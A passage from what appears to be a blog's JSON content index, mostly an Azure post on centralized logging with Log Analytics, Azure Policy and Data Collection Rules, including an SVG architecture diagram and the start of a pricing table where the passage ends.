tech look. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Macro shot of a high-tech connector cable being plugged into a port. The focus is on the precision-engineered gold pins and the moment of connection. Subtle blue lighting highlights the metallic surfaces. Represents the \"bridging\" of data between systems. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Master Azure DevOps output variables: set data in one job and consume it in another stage or matrix leg with the exact syntax for every reference path.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/cross-job-communication-mastering-dependencies-output-variables/","title":"Cross-Job Communication: Dependencies and Output Variables"},{"content":"\u003cp\u003eIn a distributed cloud environment, what you cannot see will eventually break your environment. A networking issue traced to a misconfigured firewall rule that has been dropping traffic for three weeks. A security breach that went undetected because no diagnostic settings were configured on an accessed Key Vault. A cost spike caught only when the invoice arrived.\u003c/p\u003e\n\u003cp\u003eAs an organization scales, logs scatter across hundreds of resources. Without a centralized strategy, troubleshooting becomes a manual search across disconnected data sources. This guide implements a single-pane-of-glass observability platform.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement a Management subscription as the telemetry hub.\u003c/li\u003e\n\u003cli\u003eDeploy a production Log Analytics Workspace (LAW) with optimized retention tiers.\u003c/li\u003e\n\u003cli\u003eAutomate log collection using \u003ccode\u003eDeployIfNotExists\u003c/code\u003e (DINE) Azure Policy.\u003c/li\u003e\n\u003cli\u003eReduce ingestion costs using Data Collection Rules (DCR).\u003c/li\u003e\n\u003cli\u003eBuild interactive dashboards with Azure Monitor Workbooks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 6 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"centralized-logging-architecture\"\u003eCentralized Logging Architecture\u003c/h2\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 560 345\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 408,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,64 L 432,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 112,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,80 L 304,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,80 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,112 L 112,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,112 L 176,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,112 L 304,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,112 L 368,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,160 L 176,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,160 L 368,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,176 L 408,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,208 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 152,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,256 L 272,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,256 L 360,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,272 L 432,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,304 L 152,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,304 L 272,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,304 L 360,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 384,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,48 L 32,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,112 L 32,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,208 L 32,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 56,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,80 L 112,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 152,256 L 152,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,112 L 176,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,256 L 176,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,112 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,256 L 272,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,256 L 296,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,80 L 304,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,256 L 360,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,112 L 368,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,48 L 384,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,208 L 384,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 408,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,80 L 408,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,64 L 432,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,288 L 104,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,48 L 408,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,72 L 408,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='400.000000,64.000000 388.000000,58.400002 388.000000,69.599998' fill='currentColor' transform='rotate(180.000000, 392.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='96' cy='288' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='276' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='276' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='228' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='228' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='292' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='292' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='228' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='228' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='228' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='292' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='292' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDiagnostic Settings\u003c/strong\u003e are the mechanism used to ship logs from resources to the central workspace.\u003c/li\u003e\n\u003cli\u003eThe \u003cstrong\u003eManagement Subscription\u003c/strong\u003e acts as the telemetry hub for the entire landing zone.\u003c/li\u003e\n\u003cli\u003eCentralization allows for \u003cstrong\u003ecross-resource correlation\u003c/strong\u003e and simplified compliance reporting.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-management-subscription-hub\"\u003eThe Management Subscription Hub\u003c/h3\u003e\n\u003cp\u003eCentralizing telemetry in the Management subscription provides:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCross-subscription Querying\u003c/strong\u003e: Correlate events from Firewall, Key Vault, and VMs in a single KQL query.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSimplified Compliance\u003c/strong\u003e: Manage retention policies (e.g., PCI-DSS 12-month requirements) in one place.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRBAC Isolation\u003c/strong\u003e: Grant SOC teams access to the platform logs without exposing workload-specific application data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"log-analytics-table-plans-2026\"\u003eLog Analytics Table Plans (2026)\u003c/h3\u003e\n\u003cp\u003eAzure Monitor now uses a table-plan-based model to optimize costs:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003ePlan\u003c/th\u003e\n          \u003cth\u003ePrice (est.)\u003c/th\u003e\n          \u003cth\u003eBest For\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAnalytics\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e$2.30/GB\u003c/td\u003e\n          \u003ctd\u003eSecurity logs, audit events, firewall rules (Full KQL).\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          